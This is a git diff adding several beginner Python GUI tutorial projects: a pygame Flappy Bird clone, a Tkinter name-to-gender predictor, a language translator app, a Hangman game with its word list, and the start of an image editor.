a/gui-programming/flappy-bird-game/assets/bird/2.png b/gui-programming/flappy-bird-game/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/2.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/bg.png b/gui-programming/flappy-bird-game/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/bg.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/ground.png b/gui-programming/flappy-bird-game/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/ground.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/pipe.png b/gui-programming/flappy-bird-game/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/pipe.png differ diff --git a/gui-programming/flappy-bird-game/bird.py b/gui-programming/flappy-bird-game/bird.py new file mode 100644 index 00000000..c5ad5e89 --- /dev/null +++ b/gui-programming/flappy-bird-game/bird.py @@ -0,0 +1,42 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -9 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/game.py b/gui-programming/flappy-bird-game/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/flappy-bird-game/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/flappy-bird-game/main.py b/gui-programming/flappy-bird-game/main.py new file mode 100644 index 00000000..61e68c60 --- /dev/null +++ b/gui-programming/flappy-bird-game/main.py @@ -0,0 +1,53 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, ground_space +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + ground_space)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.ground_img = pygame.image.load('assets/terrain/ground.png') + self.ground_scroll = 0 + self.scroll_speed = -6 + self.FPS = pygame.time.Clock() + self.stop_ground_scroll = False + + def main(self): + world = World(screen) + while True: + self.stop_ground_scroll = world.game_over + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + + self.screen.blit(self.ground_img, (self.ground_scroll, HEIGHT)) + if not self.stop_ground_scroll: + self.ground_scroll += self.scroll_speed + if abs(self.ground_scroll) > 35: + self.ground_scroll = 0 + + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/flappy-bird-game/pipe.py b/gui-programming/flappy-bird-game/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/flappy-bird-game/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/requirements.txt b/gui-programming/flappy-bird-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/flappy-bird-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/settings.py b/gui-programming/flappy-bird-game/settings.py new file mode 100644 index 00000000..2c5eb460 --- /dev/null +++ b/gui-programming/flappy-bird-game/settings.py @@ -0,0 +1,26 @@ +from os import walk +import pygame + +WIDTH, HEIGHT = 600, 650 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) +ground_space = 50 + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/world.py b/gui-programming/flappy-bird-game/world.py new file mode 100644 index 00000000..36bf131f --- /dev/null +++ b/gui-programming/flappy-bird-game/world.py @@ -0,0 +1,101 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + self.playing = False + self.game_over = True + else: + # if player pass through the pipe gaps + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/genderize-app/README.md b/gui-programming/genderize-app/README.md new file mode 100644 index 00000000..bebe3b1f --- /dev/null +++ b/gui-programming/genderize-app/README.md @@ -0,0 +1 @@ +# [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python) \ No newline at end of file diff --git a/gui-programming/genderize-app/genderize_app.py b/gui-programming/genderize-app/genderize_app.py new file mode 100644 index 00000000..e7d19ccf --- /dev/null +++ b/gui-programming/genderize-app/genderize_app.py @@ -0,0 +1,91 @@ +# importing everything from tkinter +from tkinter import * + +# the requests will be used for making requests to the API +import requests + +# tkinter message box to display errors +from tkinter.messagebox import showerror + + +def predict_gender(): + # executes when code has no errors + try: + # getting the input from entry + entered_name = name_entry.get() + # making a request to the API, the user's entered name is injected in the url + response = requests.get(f'https://api.genderize.io/?name={entered_name}').json() + # getting name from the response + name = response['name'] + # getting gender from the response + gender = response['gender'] + # getting probability from the response + probability = 100 * response['probability'] + # adding name to the label that was empty, the name is being uppercased + name_label.config(text='The name is ' + name.upper()) + # adding gender to the label that was empty, the gender is being uppercased + gender_label.config(text='The gender is ' + gender.upper()) + # adding probability to the label that was empty + probability_label.config(text='Am ' + str(probability) + '%' + ' accurate') + # executes when errors are caught + # KeyError, ConnectionTimeoutError + except: + showerror(title='error', message='An error occurred!! Make sure you have internet connection or you have entered the correct data') + + +# colors for the application +gold = '#dca714' +brown = '#31251d' + +# creating the main window +window = Tk() +# defining the demensions of the window, width(325), height(300), 500+200 center the window +window.geometry('325x300+500+200') +# this is the title of the application +window.title('Gender Predictor') +# this makes the window unresizable +window.resizable(height=FALSE, width=FALSE) + +"""The two frames""" +# this is the top frame inside the main window +top_frame = Frame(window, bg=brown, width=325, height=80) +top_frame.grid(row=0, column=0) + +# this is the bottom frame inside the main window +bottom_frame = Frame(window, width=300, height=250) +bottom_frame.grid(row=1, column=0) + +# the label for the big title inside the top_frame +first_label = Label(top_frame, text='GENDER PREDICTOR', bg=brown, fg=gold, pady=10, padx=20, justify=CENTER, font=('Poppins 20 bold')) +first_label.grid(row=0, column=0) + +# the label for the small text inside the top_frame +second_label = Label(top_frame, text='Give me any name and i will predict its gender', bg=brown, fg=gold, font=('Poppins 10')) +second_label.grid(row=1, column=0) + +"""below are widgets inside the top_frame""" +# the name label +label = Label(bottom_frame, text='NAME:', font=('Poppins 10 bold'), justify=LEFT) +label.place(x=4, y=10) + +# the entry for entering the user's name +name_entry = Entry(bottom_frame, width=25, font=('Poppins 15 bold')) +name_entry.place(x=5, y=35) + +# the empty name label, it will be used to display the name +name_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +name_label.place(x=5, y=70) + +# the empty gender label, it will be used to display the gender +gender_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +gender_label.place(x=5, y=90) + +# the empty probability label, it will be used to display the gender probalility +probability_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +probability_label.place(x=5, y=110) + +# the predict button +predict_button = Button(bottom_frame, text="PREDICT", bg=gold, fg=brown, font=('Poppins 10 bold'), command=predict_gender) +predict_button.place(x=5, y=140) + +window.mainloop() \ No newline at end of file diff --git a/gui-programming/genderize-app/requirements.txt b/gui-programming/genderize-app/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/gui-programming/genderize-app/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/gui-programming/gui-language-translator/README.md b/gui-programming/gui-language-translator/README.md new file mode 100644 index 00000000..19f8235e --- /dev/null +++ b/gui-programming/gui-language-translator/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python) \ No newline at end of file diff --git a/gui-programming/gui-language-translator/arrows.png b/gui-programming/gui-language-translator/arrows.png new file mode 100644 index 00000000..5b7a761a Binary files /dev/null and b/gui-programming/gui-language-translator/arrows.png differ diff --git a/gui-programming/gui-language-translator/copy.png b/gui-programming/gui-language-translator/copy.png new file mode 100644 index 00000000..faa7561f Binary files /dev/null and b/gui-programming/gui-language-translator/copy.png differ diff --git a/gui-programming/gui-language-translator/gui-language-translator.py b/gui-programming/gui-language-translator/gui-language-translator.py new file mode 100644 index 00000000..9ba72784 --- /dev/null +++ b/gui-programming/gui-language-translator/gui-language-translator.py @@ -0,0 +1,135 @@ +import ttkbootstrap as ttk +from ttkbootstrap.scrolled import ScrolledText +from ttkbootstrap.toast import ToastNotification +from tkinter.messagebox import showerror +import googletrans +from googletrans import Translator +import pyttsx3 +import pyperclip + +translator = Translator() + +engine = pyttsx3.init() + + +class LanguageTranslator: + def __init__(self, master): + self.master = master + # calling the UI method in the constructor + self.MainWindow() + # calling the Widgets method in the constructor + self.Widgets() + + + def MainWindow(self): + self.master.geometry('600x430+300+150') + self.master.title('Language Translator') + self.master.resizable(width = 0, height = 0) + # setting the icon for the application + icon = ttk.PhotoImage(file='icon.png') + self.master.iconphoto(False, icon) + + + def Widgets(self): + # the canvas for containing the other widgets + self.canvas = ttk.Canvas(self.master, width = 600, height = 400) + self.canvas.pack() + # the logo for the application + self.logo = ttk.PhotoImage(file='logo.png').subsample(5, 5) + self.canvas.create_image(75, 70, image = self.logo) + # getting all the languages + language_data = googletrans.LANGUAGES + # getting all the language values using the values() function + language_values = language_data.values() + # converting the languages to a list + languages = list(language_values) + # first combobox for the source language + self.from_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages) + self.from_language.current(0) + self.canvas.create_window(150, 140, window = self.from_language) + # loading the arrow icon + self.arrow_icon = ttk.PhotoImage(file='arrows.png') + self.resized_icon = self.arrow_icon.subsample(15, 15) + self.image_label = ttk.Label(self.master, image = self.resized_icon) + self.canvas.create_window(300, 140, window = self.image_label) + # the second combobox for the destination language + self.to_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages) + self.to_language.current(21) + self.canvas.create_window(450, 140, window = self.to_language) + # scrollable text for entering input + self.from_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10) + self.canvas.create_window(150, 250, window = self.from_text) + # scrollable text for output + self.to_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10) + self.canvas.create_window(450, 250, window = self.to_text) + # loading icons + self.speaker_icon = ttk.PhotoImage(file = 'speaker.png').subsample(5, 4) + self.copy_icon = ttk.PhotoImage(file = 'copy.png').subsample(5, 4) + self.speak_button = ttk.Button(self.master, image = self.speaker_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.speak) + self.canvas.create_window(355, 355, window = self.speak_button) + self.copy_button = ttk.Button(self.master, image = self.copy_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.copy_to_clipboard) + self.canvas.create_window(395, 355, window = self.copy_button) + self.translate_button = ttk.Button(self.master, text = 'Translate', width = 20, bootstyle = 'primary', command = self.translate) + self.canvas.create_window(300, 400, window = self.translate_button) + + def translate(self): + try: + # getting source language from first combobox via get() + self.source_language = self.from_language.get() + # getting destination language from first combobox via get() + self.destination_language = self.to_language.get() + # getting every content fronm the first scrolledtext + self.text = self.from_text.get(1.0, ttk.END) + # translating the language + self.translation = translator.translate(self.text, src=self.source_language, dest=self.destination_language) + # clearing the second scrolledtext + self.to_text.delete(1.0, ttk.END) + # inserting translation output in the second scroledtext + self.to_text.insert(ttk.END, self.translation.text) + # activating the speak_button + self.speak_button.configure(state = ttk.ACTIVE) + # activating the copy_button + self.copy_button.configure(state = ttk.ACTIVE) + # handle TypeError using except + except TypeError as e: + showerror(title='Invalid Input', message='Make sure you have entered valid input!') + # handle connection errors + except Exception as e: + showerror(title='Connection Error', message='Make sure you have internet connection!') + + def speak(self): + # getting every content from the second scrolledtext + self.text = self.to_text.get(1.0, ttk.END) + # gets the speaking rate + rate = engine.getProperty('rate') + # setting the speaking rate + engine.setProperty('rate', 125) + # getting the available voices + voices = engine.getProperty('voices') + # setting the second voice, the female voice + engine.setProperty('voice', voices[1].id) + # saying the translated text + engine.say(self.text) + # running the speech + engine.runAndWait() + + def copy_to_clipboard(self): + # this will create a toast notification object + toast = ToastNotification( + title='Clip Board', + message='Text has been copied to clip board!', + duration=3000, + ) + # this will show the notification + toast.show_toast() + # getting all the content from the second scrolledtext + self.text = self.to_text.get(1.0, ttk.END) + # copy to clip board + pyperclip.copy(self.text) + + + +root = ttk.Window(themename="cosmo") +application = LanguageTranslator(root) +root.mainloop() + diff --git a/gui-programming/gui-language-translator/icon.png b/gui-programming/gui-language-translator/icon.png new file mode 100644 index 00000000..b96f71a1 Binary files /dev/null and b/gui-programming/gui-language-translator/icon.png differ diff --git a/gui-programming/gui-language-translator/img001.webp b/gui-programming/gui-language-translator/img001.webp new file mode 100644 index 00000000..3cca4ed5 Binary files /dev/null and b/gui-programming/gui-language-translator/img001.webp differ diff --git a/gui-programming/gui-language-translator/logo.png b/gui-programming/gui-language-translator/logo.png new file mode 100644 index 00000000..2b54618b Binary files /dev/null and b/gui-programming/gui-language-translator/logo.png differ diff --git a/gui-programming/gui-language-translator/requirements.txt b/gui-programming/gui-language-translator/requirements.txt new file mode 100644 index 00000000..7fcd330c --- /dev/null +++ b/gui-programming/gui-language-translator/requirements.txt @@ -0,0 +1,4 @@ +ttkbootstrap +googletrans==3.1.0a0 +pyttsx3 +pyperclip \ No newline at end of file diff --git a/gui-programming/gui-language-translator/speaker.png b/gui-programming/gui-language-translator/speaker.png new file mode 100644 index 00000000..c7de8f94 Binary files /dev/null and b/gui-programming/gui-language-translator/speaker.png differ diff --git a/gui-programming/hangman-game-gui/README.md b/gui-programming/hangman-game-gui/README.md new file mode 100644 index 00000000..008b7f46 --- /dev/null +++ b/gui-programming/hangman-game-gui/README.md @@ -0,0 +1 @@ +# [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/hangman-game-gui/hangman.py b/gui-programming/hangman-game-gui/hangman.py new file mode 100644 index 00000000..1763c3bd --- /dev/null +++ b/gui-programming/hangman-game-gui/hangman.py @@ -0,0 +1,137 @@ +import pygame +from pygame.locals import * +import random +from string import ascii_letters + +pygame.init() +pygame.font.init() + +screen = pygame.display.set_mode((400, 500)) +pygame.display.set_caption("Hangman") + +class Hangman(): + def __init__(self): + with open("./words.txt", "r") as file: + # picks secret word + words = file.read().split("\n") + self.secret_word = random.choice(words) + # passing secret word's length for making letter blanks + self.guessed_word = "*" * len(self.secret_word) + self.wrong_guesses = [] + self.wrong_guess_count = 0 + self.taking_guess = True + self.running = True + + self.background_color = (155, 120, 70) + self.gallow_color = (0,0,0) + self.body_color = (255,253,175) + + self.font = pygame.font.SysFont("Courier New", 20) + self.FPS = pygame.time.Clock() + + + # draws the gallow + def _gallow(self): + stand = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(75, 280, 120, 10)) + body = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(128, 40, 10, 240)) + hanger = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(128, 40, 80, 10)) + rope = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(205, 40,10, 30)) + + + # draw man's body parts for every wrong guess + def _man_pieces(self): + if self.wrong_guess_count == 1: + head = pygame.draw.circle(screen, self.body_color, [210, 85], 20, 0) + elif self.wrong_guess_count == 2: + body = pygame.draw.rect(screen, self.body_color, pygame.Rect(206, 105, 8, 45)) + elif self.wrong_guess_count == 3: + r_arm = pygame.draw.line(screen, self.body_color, [183, 149], [200, 107], 6) + elif self.wrong_guess_count == 4: + l_arm = pygame.draw.line(screen, self.body_color, [231, 149], [218, 107], 6), + elif self.wrong_guess_count == 5: + r_leg = pygame.draw.line(screen, self.body_color, [189, 198], [208, 148], 6), + elif self.wrong_guess_count == 6: + l_leg = pygame.draw.line(screen, self.body_color, [224, 198], [210, 148], 6) + + + def _right_guess(self, guess_letter): + index_positions = [index for index, item in enumerate(self.secret_word) if item == guess_letter] + for i in index_positions: + self.guessed_word = self.guessed_word[0:i] + guess_letter + self.guessed_word[i+1:] + # stacks a layer of color on guessed word to hide multiple guessed_word stack + screen.fill(pygame.Color(self.background_color), (10, 370, 390, 20)) + + + def _wrong_guess(self, guess_letter): + self.wrong_guesses.append(guess_letter) + self.wrong_guess_count += 1 + self._man_pieces() + + + def _guess_taker(self, guess_letter): + if guess_letter in ascii_letters: + if guess_letter in self.secret_word and guess_letter not in self.guessed_word: + self._right_guess(guess_letter) + elif guess_letter not in self.secret_word and guess_letter not in self.wrong_guesses: + self._wrong_guess(guess_letter) + + + def _message(self): + # win situation + if self.guessed_word == self.secret_word: + self.taking_guess = False + screen.fill(pygame.Color(0,0,79), (40, 218, 320, 30)) + message = self.font.render("YOU WIN!!", True, (255,235,0)) + screen.blit(message,(152,224)) + + # lose situation + elif self.wrong_guess_count == 6: + self.taking_guess = False + screen.fill(pygame.Color("grey"), (40, 218, 320, 30)) + message = self.font.render("GAME OVER YOU LOSE!!", True, (150,0,10)) + screen.blit(message,(78,224)) + # shows the secret word if the player lose + word = self.font.render(f"secret word: {self.secret_word}", True, (255,255,255)) + screen.blit(word,(10,300)) + + # removes the instruction message if not taking guesses anymore + if not self.taking_guess: + screen.fill(pygame.Color(self.background_color), (35, 460, 390, 20)) + + + def main(self): + # game's main components (no need to update) + screen.fill(self.background_color) + self._gallow() + instructions = self.font.render('Press any key to take Guess', True, (9,255,78)) + screen.blit(instructions,(35,460)) + + while self.running: + # shows the guessed word in the game window + guessed_word = self.font.render(f"guessed word: {self.guessed_word}", True, (0,0,138)) + screen.blit(guessed_word,(10,370)) + # shows the wrong guesses in the game window + wrong_guesses = self.font.render(f"wrong guesses: {' '.join(map(str, self.wrong_guesses))}", True, (125,0,0)) + screen.blit(wrong_guesses,(10,420)) + + # checking game state + self._message() + + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + # manages keys pressed + elif self.event.type == pygame.KEYDOWN: + if self.taking_guess: + self._guess_taker(self.event.unicode) + + pygame.display.flip() + self.FPS.tick(60) + + pygame.quit() + + +if __name__ =="__main__": + h = Hangman() + h.main() diff --git a/gui-programming/hangman-game-gui/words.txt b/gui-programming/hangman-game-gui/words.txt new file mode 100644 index 00000000..52587ee4 --- /dev/null +++ b/gui-programming/hangman-game-gui/words.txt @@ -0,0 +1,2095 @@ +able +about +abruptly +absurd +abyss +account +acid +across +act +addition +adjustment +advertisement +affix +after +again +against +agreement +air +all +almost +among +amount +amusement +and +android +angle +angry +animal +answer +ant +any +apparatus +apple +approval +arch +argument +arm +army +art +askew +attack +attempt +attention +attraction +authority +automatic +avenue +awake +awkward +axiom +azure +baby +back +bad +bag +bagpipes +balance +ball +band +bandwagon +banjo +base +basin +basket +bath +bayou +beautiful +because +bed +bee +beekeeper +before +behaviour +belief +bell +bent +bernhard +berry +between +bikini +bird +birth +bit +bite +bitter +black +blade +blitz +blizzard +blood +blow +blue +board +boat +body +boggle +boiling +bone +book +bookworm +boot +bottle +box +boxcar +boxful +boy +brain +brake +branch +brass +bread +breath +breytenbach +brick +bridge +bright +broken +brother +brown +brush +buckaroo +bucket +buffalo +buffoon +building +bulb +burn +burst +business +but +butter +button +buxom +buzzard +buzzing +buzzwords +cake +caliph +camera +canvas +card +care +carriage +cart +cat +cause +certain +chain +chalk +chance +change +cheap +cheese +chemical +chest +chief +chin +church +circle +clean +clear +clock +cloth +cloud +coal +coat +cobweb +cockiness +cold +collar +colour +comb +come +comfort +committee +common +company +comparison +competition +complete +complex +condition +connection +conscious +control +cook +copper +copy +cord +cork +cotton +cough +country +cover +cow +crack +credit +crime +croquet +cruel +crush +cry +crypt +cup +cup +curacao +current +curtain +curve +cushion +cycle +daiquiri +damage +danger +dark +daughter +day +dead +dear +death +debt +decision +deep +degree +delicate +dependent +design +desire +destruction +detail +development +different +digestion +direction +dirndl +dirty +disavow +discovery +discussion +disease +disgust +distance +distribution +division +dizzying +dog +door +doubt +down +drain +drawer +dress +drink +driving +drop +dry +duplex +dust +dwarves +ear +early +earth +east +edge +education +effect +egg +elastic +electric +embezzle +end +engine +enough +equal +equip +error +espionage +euouae +even +event +ever +every +example +exchange +existence +exodus +expansion +experience +expert +eye +face +fact +faking +fall +false +family +far +farm +fat +father +fear +feather +feeble +feeling +female +fertile +fiction +field +fight +finger +fire +first +fish +fishhook +fixable +fixed +fjord +flag +flame +flapjack +flat +flight +floor +flopping +flower +fluffiness +fly +flyby +fold +food +foolish +foot +for +force +fork +form +forward +fowl +foxglove +frame +frazzled +free +frequent +friend +frizzled +from +front +fruit +fuchsia +full +funny +future +gabby +galaxy +galvanize +garden +gazebo +general +get +giaour +girl +give +gizmo +glass +glove +glowworm +glyph +gnarly +gnostic +goat +gold +good +gossip +government +grain +grass +great +green +grey +grip +grogginess +group +growth +guide +gun +haiku +hair +hammer +hand +hanging +haphazard +happy +harbour +hard +harmony +hat +hate +have +head +healthy +hear +hearing +heart +heat +help +high +history +hole +hollow +hook +hope +horn +horse +hospital +hour +house +how +humour +hyphen +iatrogenic +ice +icebox +idea +ill +important +impulse +increase +industry +injury +ink +insect +instrument +insurance +interest +invention +iron +island +ivory +ivy +jackpot +jaundice +jawbreaker +jaywalk +jazziest +jazzy +jelly +jelly +jewel +jigsaw +jinx +jiujitsu +jockey +jogging +join +joking +journey +jovial +joyful +judge +juicy +jukebox +jumbo +jump +kayak +kazoo +keep +kettle +key +keyhole +khaki +kick +kilobyte +kind +kiosk +kiss +kitsch +kiwifruit +klutz +knapsack +knee +knife +knot +knowledge +land +language +larynx +last +late +laugh +law +lead +leaf +learning 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+xylophone +yachtsman +year +yellow +yes +yesterday +yippee +yoked +you +young +youthful +yummy +zephyr +zigzag +zigzagging +zilch +zipper +zodiac +zombie \ No newline at end of file diff --git a/gui-programming/image-editor/README.md b/gui-programming/image-editor/README.md new file mode 100644 index 00000000..235735b5 --- /dev/null +++ b/gui-programming/image-editor/README.md @@ -0,0 +1 @@ +# [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python) \ No newline at end of file diff --git a/gui-programming/image-editor/add.png b/gui-programming/image-editor/add.png new file mode 100644 index 00000000..b7694b33 Binary files /dev/null and b/gui-programming/image-editor/add.png differ diff --git a/gui-programming/image-editor/color.png b/gui-programming/image-editor/color.png new file mode 100644 index 00000000..7cfbc734 Binary files /dev/null and b/gui-programming/image-editor/color.png differ diff --git a/gui-programming/image-editor/erase.png b/gui-programming/image-editor/erase.png new file mode 100644 index 00000000..c8bb1d68 Binary files /dev/null and b/gui-programming/image-editor/erase.png differ diff --git a/gui-programming/image-editor/flip.png b/gui-programming/image-editor/flip.png new file mode 100644 index 00000000..fc761f82 Binary files /dev/null and b/gui-programming/image-editor/flip.png differ diff --git a/gui-programming/image-editor/gui-image-editor.py b/gui-programming/image-editor/gui-image-editor.py new file mode 100644 index 00000000..b0ce2bba --- /dev/null +++ b/gui-programming/image-editor/gui-image-editor.py @@ -0,0 +1,335 @@ +import ttkbootstrap as ttk +from tkinter import filedialog +from tkinter.messagebox import showerror, askyesno +from tkinter import colorchooser +from PIL import Image, ImageOps, ImageTk, ImageFilter, ImageGrab + + +# defining global variables +WIDTH = 750 +HEIGHT = 560 +file_path = "" +pen_size = 3 +pen_color = "black" + + + +# function to open the image file +def open_image(): + global file_path + file_path = filedialog.askopenfilename(title="Open Image File", filetypes=[("Image Files", "*.jpg;*.jpeg;*.png;*.gif;*.bmp")]) + if file_path: + global image, photo_image + image = Image.open(file_path) + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + + image = ImageTk.PhotoImage(image) + canvas.create_image(0, 0, anchor="nw", image=image) + + +# a global variable for checking the flip state of the image +is_flipped = False + +def flip_image(): + try: + global image, photo_image, is_flipped + if not is_flipped: + # open the image and flip it left and right + image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT) + is_flipped = True + else: + # reset the image to its original state + image = Image.open(file_path) + is_flipped = False + # resize the image to fit the canvas + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Flip Image Error', message='Please select an image to flip!') + + +# global variable for tracking rotation angle +rotation_angle = 0 + +# function for rotating the image +def rotate_image(): + try: + global image, photo_image, rotation_angle + # open the image and rotate it + + image = Image.open(file_path) + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + rotated_image = image.rotate(rotation_angle + 90) + rotation_angle += 90 + # reset image if angle is a multiple of 360 degrees + if 